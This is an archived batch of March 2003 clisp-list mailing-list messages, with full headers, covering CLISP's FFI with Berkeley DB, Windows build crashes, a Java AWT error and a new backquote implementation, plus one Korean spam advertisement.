Dan Stanger writes: > > Is there a lgpl'd version of the java runtime that this will run against? GCC 3 comes with /usr/bin/java that runs gij. unfortunately, it appears to lack awt: Exception in thread "Thread-1" java.awt.AWTError: Cannot load AWT toolkit: gnu.java.awt.peer.gtk.GtkToolkit at 0x4027fd57: java.lang.Throwable.Throwable(java.lang.String) (/usr/lib/libgcj.so.3) at 0x40272bce: java.lang.Error.Error(java.lang.String) (/usr/lib/libgcj.so.3) at 0x4034051a: java.awt.AWTError.AWTError(java.lang.String) (/usr/lib/libgcj.so.3) at 0x40357c39: java.awt.Toolkit.getDefaultToolkit() (/usr/lib/libgcj.so.3) at 0x4035840a: java.awt.Window.getToolkit() (/usr/lib/libgcj.so.3) at 0x40349004: java.awt.Container.addImpl(java.awt.Component, java.lang.Object, int) (/usr/lib/libgcj.so.3) at 0x40348e8a: java.awt.Container.add(java.awt.Component, java.lang.Object) (/usr/lib/libgcj.so.3) at 0x4039a117: ffi_call_SYSV (/usr/lib/libgcj.so.3) at 0x4039a0d7: ffi_raw_call (/usr/lib/libgcj.so.3) at 0x402475e8: _Jv_InterpMethod.continue1(_Jv_InterpMethodInvocation) (/usr/lib/libgcj.so.3) at 0x40247ee4: _Jv_InterpMethod.run(ffi_cif, void, ffi_raw, _Jv_InterpMethodInvocation) (/usr/lib/libgcj.so.3) at 0x402454e4: _Jv_InterpMethod.run_normal(ffi_cif, void, ffi_raw, void) (/usr/lib/libgcj.so.3) at 0x40399f8c: ?? (??:0) at 0x4039a117: ffi_call_SYSV (/usr/lib/libgcj.so.3) at 0x4039a0d7: ffi_raw_call (/usr/lib/libgcj.so.3) at 0x402475e8: _Jv_InterpMethod.continue1(_Jv_InterpMethodInvocation) (/usr/lib/libgcj.so.3) at 0x40247ee4: _Jv_InterpMethod.run(ffi_cif, void, ffi_raw, _Jv_InterpMethodInvocation) (/usr/lib/libgcj.so.3) at 0x402454e4: _Jv_InterpMethod.run_normal(ffi_cif, void, ffi_raw, void) (/usr/lib/libgcj.so.3) at 0x40399f8c: ?? (??:0) at 0x40266b7c: _Jv_ThreadRun(java.lang.Thread) (/usr/lib/libgcj.so.3) at 0x40388ec0: ?? (??:0) at 0x40390a55: GC_start_routine (/usr/lib/libgcj.so.3) at 0x406151ff: ?? (??:0) at 0x420d8397: __clone (/lib/tls/libc.so.6) -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Those who can laugh at themselves will never cease to be amused. From edi@agharta.de Fri Mar 21 09:13:37 2003 Received: from h-213.61.102.30.host.de.colt.net ([213.61.102.30] helo=bird.agharta.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18wQ5E-0004xd-00 for ; Fri, 21 Mar 2003 09:13:32 -0800 Received: by bird.agharta.de (Postfix, from userid 1000) id 9D6F826044A; Fri, 21 Mar 2003 18:13:18 +0100 (CET) To: Subject: Re: [clisp-list] CLISP GUI: japi References: <3E7B34B4.D0B35B33@ieee.org> Reply-To: edi@agharta.de From: Edi Weitz In-Reply-To: Message-ID: <87y938iqxe.fsf@bird.agharta.de> Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 21 09:14:09 2003 X-Original-Date: 21 Mar 2003 18:13:17 +0100 Sam Steingold writes: > > * In message <3E7B34B4.D0B35B33@ieee.org> > > * On the subject of "Re: [clisp-list] CLISP GUI: japi" > > * Sent on Fri, 21 Mar 2003 08:50:12 -0700 > > * Honorable Dan Stanger writes: > > > > Is there a lgpl'd version of the java runtime that this will run against? > > GCC 3 comes with /usr/bin/java that runs gij. > unfortunately, it appears to lack awt: Maybe you have to install it separately, something like Edi. From a.bignoli@computer.org Fri Mar 21 09:44:33 2003 Received: from host10-153.pool8020.interbusiness.it ([80.20.153.10] helo=shark.fauser.it) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18wQXt-0003gp-00 for ; Fri, 21 Mar 2003 09:43:09 -0800 Received: from ghimel.fauser.it (IDENT:0@pool2-ip13.fauser.it [80.20.153.108]) by shark.fauser.it (8.9.1a/8.9.1) with ESMTP id SAA21181; Fri, 21 Mar 2003 18:39:16 +0100 (MET) Received: from dalet.fauser.it (IDENT:0@dalet.fauser.it [192.168.1.2]) by ghimel.fauser.it (8.12.8/8.12.8) with ESMTP id h2LHgfid000283; Fri, 21 Mar 2003 18:42:42 +0100 Received: from dalet.fauser.it (IDENT:25@dalet.fauser.it [192.168.1.2]) by dalet.fauser.it (8.12.8/8.12.8) with ESMTP id h2LHZvok000548; Fri, 21 Mar 2003 18:35:57 +0100 Received: (from aurelio@localhost) by dalet.fauser.it (8.12.8/8.12.8/Submit) id h2LHVKdR000441; Fri, 21 Mar 2003 18:31:20 +0100 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15995.19560.212931.976813@dalet.fauser.it> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] FFI guru/wizard award to be rewarded In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE02E73D26@G8PQD.blf01.telekom.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE02E73D26@G8PQD.blf01.telekom.de> X-Mailer: VM 7.07 under Emacs 21.2.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 21 09:45:04 2003 X-Original-Date: Fri, 21 Mar 2003 18:31:20 +0100 Hoehle, Joerg-Cyril writes: > Please try the following: > > (defun my-func-wrapper (...) > (let* ((result (my-func ...)) > (data (my-struct-data result))) > (unwind-protect > (with-foreign-object (p 'c-pointer data) > (foreign-value > (ffi::%cast p > (load-time-value > (ffi::parse-c-type '(c-ptr int)))))) > (linux:free data)))) I used a "scientific" approach: I wrote three functions that convert the foreign int object passed as argument using one of the the three methods we discussed (ad-hoc C function, with-c-var/cast, with-foreign-object/%cast) and then I timed a loop of 20000 calls of the functions. I ran the tests on a PII/266 under Linux 2.4.18, and here are the results: ad-hoc C function: Real time: 0.181583 sec. Run time: 0.11 sec. Space: 0 Bytes with-c-var/cast: Real time: 1.494392 sec. Run time: 1.17 sec. Space: 3440000 Bytes GC: 4, GC time: 0.56 sec. with-foreign-object/%cast Real time: 0.638666 sec. Run time: 0.54 sec. Space: 1520000 Bytes GC: 2, GC time: 0.28 sec. > If speed becomes acceptable, I'll think about working out the > details of such an optimization (read find out the complex cases > where it fails). well, for my needs speed was acceptable even with my first implementation for the vector case: (let ((result (make-array size :element-type ' (unsigned-byte 8)))) (dotimes (i size) (setf (aref result i) (get-vector-element data i)))) (def-call-out get-vector-element (:name "get_vector_element") (:arguments (data c-pointer :in) (offset :in)) (:return-type uchar)) unsigned char get_vector_element (void *data, int offset) { ((unsigned char *)data)[offset]; } which, of course, is awfully slow! I wrote this code at the beginning of 2002, when with-c-var and with-foreign-object weren't still available (or, at least, I wasn't aware of them), and this was the only solution I was able to devise. > BTW, could you show the C prototype for the real external function? > Why do you have the interface you mention, instead of > data and size as separate parameters? I'm trying to interface Berkeley DB C API (http://www.sleepycat.com). It uses "Data Base Thangs" to read and write data to/from DB files: /* Key/data structure -- a Data-Base Thang. */ struct __db_dbt { /* * data/size must be fields 1 and 2 for DB 1.85 compatibility. */ void *data; /* Key/data */ u_int32_t size; /* key/data length */ u_int32_t ulen; /* RO: length of user buffer. */ u_int32_t dlen; /* RO: get/put record length. */ u_int32_t doff; /* RO: get/put record offset. */ [some #defines omitted...] u_int32_t flags; }; typedef struct __db_dbt DBT; This is an historical interface, I think it is in use since the earliest versions of DB under Unix. Typical functions are int DB->put(DB *db, DB_TXN *txnid, DBT *key, DBT *data, u_int32_t flags); int DB->get(DB *db, DB_TXN *txnid, DBT *key, DBT *data, u_int32_t flags); They allow C programmers to easily read and write any C type. For Lisp programmers things are a little more difficult :) From marcoxa@cs.nyu.edu Fri Mar 21 14:34:36 2003 Received: from dsl254-070-134.nyc1.dsl.speakeasy.net ([216.254.70.134] helo=luccio.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18wV5q-0008Ms-00 for ; Fri, 21 Mar 2003 14:34:30 -0800 Received: from cs.nyu.edu (BIOINFORMATICS.CIMS.NYU.EDU [216.165.110.10]) by luccio.net (8.11.6/8.11.2) with ESMTP id h2LMYNI07256 for ; Fri, 21 Mar 2003 17:34:23 -0500 Content-Type: text/plain; charset=US-ASCII; format=flowed Resent-Date: Fri, 21 Mar 2003 17:34:17 -0500 Content-Transfer-Encoding: 7bit Resent-Message-Id: <35B26D9C-5BC6-11D7-B00C-000393A70920@cs.nyu.edu> Resent-To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 (Apple Message framework v551) Subject: Re: [clisp-list] CLISP GUI: japi From: Marco Antoniotti To: sds@gnu.org Message-Id: <4075904A-5BED-11D7-B00C-000393A70920@cs.nyu.edu> Resent-From: Marco Antoniotti X-Mailer: Apple Mail (2.551) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 21 14:35:04 2003 X-Original-Date: Fri, 21 Mar 2003 12:54:49 -0500 An UFFI module would be far more useful than a CLisp-only one. Cheers On Friday, Mar 21, 2003, at 10:18 America/New_York, Sam Steingold wrote: > japi appears to be an easy way to get a GUI. > any volunteers to make a CLISP module based on it? > -- Marco Antoniotti NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. -- Marco Antoniotti NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From ampy@inbox.ru Fri Mar 21 16:36:59 2003 Received: from mx6.mail.ru ([194.67.57.16]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18wX0L-0006L1-00 for ; Fri, 21 Mar 2003 16:36:57 -0800 Received: from [212.16.216.117] (port=1137 helo=ppp117-AS-2.vtc.ru) by mx6.mail.ru with esmtp id 18wX0I-00024V-00; Sat, 22 Mar 2003 03:36:54 +0300 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <249641874.20030322104057@inbox.ru> To: "Yadin Y. Goldschmidt" CC: sds@gnu.org, clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] win32 cvs head binaries In-reply-To: <1779328.1048242117@GOLDSCHMIDT.phyast.pitt.edu> References: <1779328.1048242117@GOLDSCHMIDT.phyast.pitt.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 21 16:37:04 2003 X-Original-Date: Sat, 22 Mar 2003 10:40:57 +1000 Hello Yadin, Saturday, March 22, 2003, 1:21:57 AM, you wrote: > Thank you for your effeort but the binaries don't work: A box opens which > says that > lisp.exe encountered a problem and needs to be closed. This is on a Win XP > box. This is strange. I compiled maxima-5.9.0rc1 using it just now. I used the following 'clisp' shell script (full path replaced with ... for the sake of conspiracy): ===== #!/bin/sh /cygdrive/c/.../lisp.exe -M /cygdrive/c/.../lispinit.mem "$1" "$2" "$3" "$4" "$5" "$6" "$7" "$8" "$9" ===== The $* won't work, so that mess. I had to correct maxima makefile - I removed cmucl-...mk from it. There is one thing I forgot to make yesterday late evening - this is debug binaries. At worse it should miss some DLLs - is this the case ? Sorry then. I can upload normal version - say where. > your patched file. It failed with signal 11. I compiled libiconv from the > original sources, I will try again to recompile from cygwin source but I > don't have too much time to spend on this. If I make any progress I will > report. Don't lose the time - I tried a number of ways and got no success - there is a bug in GC. Mingw build crashes after defmacro.lisp was loaded. >> let us not mix stable releases and ad hoc binaries. >> May be it's worth to do a 'beta' section among file releases ? -- Best regards, Arseny mailto:ampy@inbox.ru From ampy@inbox.ru Fri Mar 21 16:37:14 2003 Received: from mx3.mail.ru ([194.67.57.13]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18wX0a-0006N8-00 for ; Fri, 21 Mar 2003 16:37:12 -0800 Received: from [212.16.216.117] (helo=ppp117-AS-2.vtc.ru) by mx3.mail.ru with esmtp (Exim SMTP.3) id 18wX0T-000Gd1-00; Sat, 22 Mar 2003 03:37:06 +0300 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <33878527.20030322090454@inbox.ru> To: Sam Steingold CC: "Yadin Y. Goldschmidt" , clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] help with compiling clisp cvs on cygwin In-reply-To: References: <5727776.1048197477@yadin-nb> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 21 16:38:02 2003 X-Original-Date: Sat, 22 Mar 2003 09:04:54 +1000 Hello Sam, Saturday, March 22, 2003, 12:33:44 AM, you wrote: >> Thank for your reply. I tried to uninstall libiconv but it does not help. >> I am still unable to compile sucessfully. > Yadin, you reported a bug with type.lisp and encodings. > we need to figure out which encodings do not work. > please remove libiconv and try the patch I send you. > the warnings should tell you which encodings are missing. > thanks. I believe this is due to binnary incompatibility with libiconv - remember the clisp-list discussion on Nov 2002. -- Best regards, Arseny From master@89894.com Fri Mar 21 19:33:06 2003 Received: from [61.79.135.170] (helo=89894.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18wZkn-00005m-00 for ; Fri, 21 Mar 2003 19:33:05 -0800 Message-ID: <186340-22003201615533656@89894.com> X-EM-Version: 6, 0, 0, 4 X-EM-Registration: #0010630410721500AB30 Reply-To: master@89894.com From: "½Å¿ë ö" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/html; charset=KS_C_5601-1987 Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] (±¤°í)¾Æ´Ï! ÀÌ ¹«½¼ ³¿»õ......???@ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 21 19:34:01 2003 X-Original-Date: Mon, 17 Feb 2003 00:53:03 +0900

=B1=CD=C7=CF=C0=C7 =B8=DE=C0=CF=C1=D6=BC=D2=B4=C2= =C0=A5=BC=AD=C7=CE=C1=DF, http://www=2Exxxxxxxx=2Ecom/=20
=BF=A1=BC=AD =BE=CB=B0=D4 =B5=C8=B0=CD=C0=CC=B8=E7, E-Mail =C1=D6=BC=D2= =BF=DC=BF=A1, =B4=D9=B8=A5 =C1=A4=BA=B8=B4=C2 =B0=AE=B0=ED =C0=D6=C1=F6 =BE=CA=BD=C0=B4=CF=B4=D9=2E
=C1=A4=C5=EB=BA=CE =B1=C7=B0=ED=BB=E7=C7=D7= =BF=A1 =C0=C7=B0=C5 =C1=A6=B8=F1=BF=A1
[=B1=A4=B0=ED]=B6=F3=B0=ED =C7=A5=B1=E2=C7=D1 =B8=DE=C0=CF=C0=D4= =B4=CF=B4=D9=2E =BF=F8=C4=A1 =BE=CA=C0=B8=B8=E9 =BC=F6=BD=C5=B0=C5=BA=CE=B8=A6 =B4=AD=B7=AF=C1=D6=BC=BC=BF=E4

 

 

 

(=B1=A4=B0=ED)=BE=C6=B4=CF!  =C0=CC =B9=AB=BD=BC=20 =B3=BF=BB=F5=2E=2E=2E=2E=2E=2E???@

 

=

=BE=C8=B3=E7= =C7=CF=BC=BC=BF=E4 $EmailTo =B4=D4!!!

=B9=E6=C7=E2=C1=A6=20 =B6=A7=B9=AE=BF=A1 =B8=D3=B8=AE=B0=A1 =BE=C6=C7=C1=BD=C3=C1=D2=2E=2E=2E!  =20 =C0=CC=B7=B8=B0=D4 =C7=CF=BD=C3=B8=E9 =B5=CB=B4=CF=B4=D9=2E<= /SPAN>

 

=B8= =F0=B5=E7=20 =B3=BF=BB=F5 =BE=C7=C3=EB=C1=A6=B0=C5 =C0=FC=B9=AE=2E=2E= =2E=2E=2E=2E

=C3=B5=BF=AC=BF=F8=B7=E1=20 =C1=A6=C7=B0=C0=B8=B7=CE =C0=CE=C3=BC =C0=FC=BF=AC =B9=AB=C7=D8=C7=CF=B0=ED= =C0=DA=BF=AC =C4=A3=C8=AD=C0=FB=C0=CE =C1=A6=C7=B0=C0=B8=B7=CE =B5=CE=C5=EB= =C0=BB =C0=AF=B9=DF=C7=CF=C1=F6 =BE=CA=BD=C0=B4=CF=B4=D9=2E=2E=2E=2E=2E

=B4=E3=B9=E8=B3=BF=BB=F5, =C0=BD=BD=C4=B3=BF=BB= =F5, =B0=F5=C6=CE=C0=CC=B3=BF=BB=F5, =B0=F5=C6=CE=C0=CC=BC=BC=B1=D5, =B9=AB= =C1=BB=B1=D5, =B9=DF=B3=BF=BB=F5, =C0=CE=C3=BC=B3=BF=BC=BC, =B5=C8=C0=E5=B1=B9=B3=BF=BB=F5= , =C3=BB=B1=B9=C0=E5=B3=BF=BB=F5,=20 =C0=CE=C5=D7=B8=AE=BE=EE =B3=BB=C0=E5=C0=E7 =B3=BF=BB=F5,

=C7=CF=BC=F6=B1=B8=B3=BF=BB=F5, =B0=A2=C1=BE =C4= =FB=C4=FB=C7=D1 =B3=BF=BB=F5, =BD=C2=BF=EB=C2=F7=BE=C8=C0=C7 =B3=BF=BB=F5,= =B0=A1=C3=E0=B3=BF=BB=F5, =B0=A1=C3=E0 =BA=D0=B4=A2=B3=BF=BB=F5, =C8=AD=C0= =E5=BD=C7=B3=BF=BB=F5, =BE=B2=B7=B9=B1=E2=B3=BF=BB=F5,=20 =BE=B2=B7=B9=B1=E2=C0=E5 =BE=C7=C3=EB,=

=C1=A4=C8=AD=C1=B6 =B3=BF=BB=F5, =BA=B4=BF=F8 = =C0=D4=BF=F8=BD=C7=B3=BF=BB=F5, =C1=F6=C7=CF=BD=C7 =C4=FB=C4=FB=C7=D1=20 =B3=BF=BB=F5,

=C0=CC =B8=F0=B5=E7 =B3=BF=BB=F5=BF=CD =BE=C7=C3=EB=B8=A6 =B1=D9=BF= =F8=C0=FB=C0=B8=B7=CE =BA=D0=C7=D8 =C1=A6=B0=C5=C7=CF=B8=E7 =B0=F5=C6=CE=C0= =CC =BC=BC=B1=D5=C0=BB =BB=EC=B1=D5=C3=B3=B8=AE=C7=D5=B4=CF=B4=D9=2E=2E=2E=2E

 

 

www=2E89894=2Ecom  =BF=A1=BC=AD

 

=B3=BF=BB=F5=BF=F8=C0=BB =C1=A6=B0=C5=C7=D1=B5=DA =C0=DA=BF=AC=C7= =E2=C0=BB =C0=BA=C0=BA=C7=CF=B0=D4 =C7=B3=B1=E2=BE=EE =C1=DD=B4=CF=B4=D9=2E=2E=2E=2E=2E

 

 

%%%  =20 =C3=DF=BB=E7   %%%

 

=C1=A6=C7=B0=C0=BB=20 =B1=B8=C0=D4=C7=CF=BD=C5=BA=D0=BF=A1 =C7=D1=C7=D8=BC=AD cafe=2Edaum=2Enet/106030 =B9=AB=C7=D1=B5=BF=B7=C2 =C4=AB=C6=E4=BF=A1 =C4=AB=C5=D7=B0=ED=B8=AE =C8=B8=BF=F8 =B5=EE=B7=CF=B6=F5=C0=BB =C5=AC=B8=AF= =C7=CF=B0=ED =B5=E9=BE=EE=B0=A1=BC=AD=20 =B1=DB=C0=BB=B3=B2=B0=DC=B3=F5=C0=B8=BD=C3=B8=E9 =B9=AB=C7=D1=B5=BF=B7=C2 = =B0=B3=B9=DF=C0=BB(=B3=E2=B8=BB=BE=C8=BF=A1 =BF=CF=B7=E1=BF=B9=C1=A4) =BF=CF= =B7=E1=C8=C4 =C3=A2=BE=F7 =C1=D6=C1=D6=B0=A1=B5=C7=BD=C7=BC=F6=C0=D6=B4=C2 =BF=EC=BC=B1=B1=C7 =B9=D7= =C0=DA=B0=DD=C0=CC=20 =C1=D6=BE=EE=C1=FD=B4=CF=B4=D9=2E=2E=2E

 

  ^^**^^   ^^**^^  =20 ^^**^^

 

=BC=EE=C7=CE=B8=F4     :=20 www=2E89894=2Ecom

=C0=FC  =20 =C8=AD     :=20 031-394-0045   hp :=20 011-281-1434   =BD=C5  =BF=EB =20 =C3=B6

=B9=AB=C7=D1 =B5=BF=B7=C2 :=20 cafe=2Edaum=2Enet/106030

 

=B0=A8=BB=E7 =C7=D5=B4=CF=B4=D9=2E=2E=2E=2E=2E

 

 

From yadin+@pitt.edu Fri Mar 21 19:47:18 2003 Received: from mb2i0.ns.pitt.edu ([136.142.186.36]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18wZyX-0005cd-00 for ; Fri, 21 Mar 2003 19:47:17 -0800 Received: from yadin-nb ([136.142.20.57]) by pitt.edu (PMDF V5.2-32 #41462) with ESMTP id <01KTSX1FUJNQ009B63@mb2i0.ns.pitt.edu> for clisp-list@lists.sourceforge.net; Fri, 21 Mar 2003 22:46:49 EST From: "Yadin Y. Goldschmidt" Subject: Re: Re[2]: [clisp-list] win32 cvs head binaries In-reply-to: <249641874.20030322104057@inbox.ru> Originator-info: login-id=yadin; server=imap.pitt.edu To: Arseny Slobodjuck Cc: sds@gnu.org, clisp-list@lists.sourceforge.net Message-id: <1074785.1048286808@yadin-nb> MIME-version: 1.0 X-Mailer: Mulberry/2.2.1 (Win32) Content-type: text/plain; charset=us-ascii; format=flowed Content-disposition: inline Content-transfer-encoding: 7bit References: <249641874.20030322104057@inbox.ru> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 21 19:48:02 2003 X-Original-Date: Fri, 21 Mar 2003 22:46:48 -0500 Hi Arseny, The binaries did not work at all I, don't know why but even if you click on lisp.exe in explorer it opens a box that says the program needs to be terminated since it caused a system error. Please check the version that you uploaded, and if you can, please upload a corrected version to the same loaction. I really thank you for your effort. Yadin. --On Saturday, March 22, 2003 10:40 AM +1000 Arseny Slobodjuck wrote:r > Hello Yadin, > > Saturday, March 22, 2003, 1:21:57 AM, you wrote: > >> Thank you for your effeort but the binaries don't work: A box opens which >> says that >> lisp.exe encountered a problem and needs to be closed. This is on a Win >> XP box. > This is strange. I compiled maxima-5.9.0rc1 using it just now. I used > the following 'clisp' shell script (full path replaced with ... for > the sake of conspiracy): > > ===== ># !/bin/sh > /cygdrive/c/.../lisp.exe -M /cygdrive/c/.../lispinit.mem "$1" "$2" "$3" > "$4" "$5" "$6" "$7" "$8" "$9" ===== > > The $* won't work, so that mess. I had to correct maxima makefile - I > removed cmucl-...mk from it. > > There is one thing I forgot to make yesterday late evening - this is debug > binaries. At worse it should miss some DLLs - is this the case ? > Sorry then. I can upload normal version - say where. > >> your patched file. It failed with signal 11. I compiled libiconv from the >> original sources, I will try again to recompile from cygwin source but I >> don't have too much time to spend on this. If I make any progress I will >> report. > > Don't lose the time - I tried a number of ways and got no success - > there is a bug in GC. Mingw build crashes after defmacro.lisp was > loaded. > > >>> let us not mix stable releases and ad hoc binaries. >>> > > May be it's worth to do a 'beta' section among file releases ? > > -- > Best regards, > Arseny mailto:ampy@inbox.ru > > --------------------------------------------------------------------------- Yadin Y. Goldschmidt voice: (412)624-9024 Professor of Physics fax: (412)624-9163 Dept. of Physics and Astronomy http://www.pitt.edu/~yadin University of Pittsburgh mailto:yadin@pitt.edu Pittsburgh PA 15260 --------------------------------------------------------------------------- From kaz@footprints.net Fri Mar 21 23:45:11 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18wdgH-0005dZ-00 for ; Fri, 21 Mar 2003 23:44:41 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18wdfk-0004H2-00; Fri, 21 Mar 2003 23:44:08 -0800 From: Kaz Kylheku To: Sam Steingold cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: New, from-scratch implementation of backquote. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 21 23:46:02 2003 X-Original-Date: Fri, 21 Mar 2003 23:44:08 -0800 (PST) On 15 Mar 2003, Sam Steingold wrote: > Did you check that the two defects are gone: > > 1. in backquote.lisp; > > ;; Bug: With nested backquotes some partial forms are evaluated several > ;; times (e.g. in the primary evaluation: forms, which are needed for > ;; the interpretation of secondary evaluation forms) and should > ;; therefore be free from side-effects. After a little experimentation, I understand what this is now. For example, if we do this: (eval ````,',',',(print 3)) the form (print 3) is evaluated four times! Ouch! Yes, this bug goes away in the new implementation; the unquoted forms are evaluated just once. > 2. : > > Multiple backquote combinations like ,,@ or ,@,@ are not > implemented. Their use would be confusing anyway. I have requested a c.l.l discussion about these. Regarding the unquote combination ,,@: How this works in my implementation is that the evaluation implied by the right comma is distributed into the spliced list. So whereas `(,@(list '(+ 2 2) '(+ 4 4)) d)) produces the splice ((+ 2 2) (+ 4 4) D) adding a one more level of backquoting with an unquote around the splice: ``(,,@(list '(+ 2 2) '(+ 4 4)) d)) produces (LIST (+ 2 2) (+ 4 4) 'D) which when evaluated again produces (4 8 D) So a kind of distributive law applies, as if the rightmost comma went into every element form inserted by the splice, to request its evaluation. I have no idea whether this behavior is implied in any way by ANSI CL, but it has a certain mathematical elegance to it. ;) The above nested backquote does not work in stock CLISP at all; an error is produced on second evaluation. ---- Regarding ,@,@: A newbie might expect a naive text-like substitution, whereby ``(,@,@form) means: on first evaluation, splice in the text representation of the list produced by form with parentheses removed, to obtain `(,@x1 x2 x3 ...). Then on second evaluation, x1 must yield a list which is spliced: (x11 x12 ... x2 x3 ...). But this interpretation is laughable in addition to being quite useless. My implementation does not support ,@,@ at all; but rather than diagnosing it as an error, it unfortunately translates it into invalid code. What's worse, the optimizer doesn't validate the bad code, and sometimes turns it into working code. I.e. we have degenerate behavior. My gut instinct is to just leave this alone until someone provides a semi-authoritative interpretation of the spec on this matter. Or else I can make it reject ,@,@ syntax with a diagnostic. From sds@gnu.org Sat Mar 22 07:38:57 2003 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18wl5F-00010K-00 for ; Sat, 22 Mar 2003 07:38:57 -0800 Received: from loiso.podval.org ([151.203.42.128]) by pop015.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030322153850.HQTI14460.pop015.verizon.net@loiso.podval.org>; Sat, 22 Mar 2003 09:38:50 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2MFdpTx012588; Sat, 22 Mar 2003 10:39:51 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2MFdoVB012584; Sat, 22 Mar 2003 10:39:50 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Arseny Slobodjuck Cc: "Yadin Y. Goldschmidt" , clisp-list@lists.sourceforge.net Subject: Re: Re[2]: [clisp-list] win32 cvs head binaries References: <1779328.1048242117@GOLDSCHMIDT.phyast.pitt.edu> <249641874.20030322104057@inbox.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <249641874.20030322104057@inbox.ru> Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 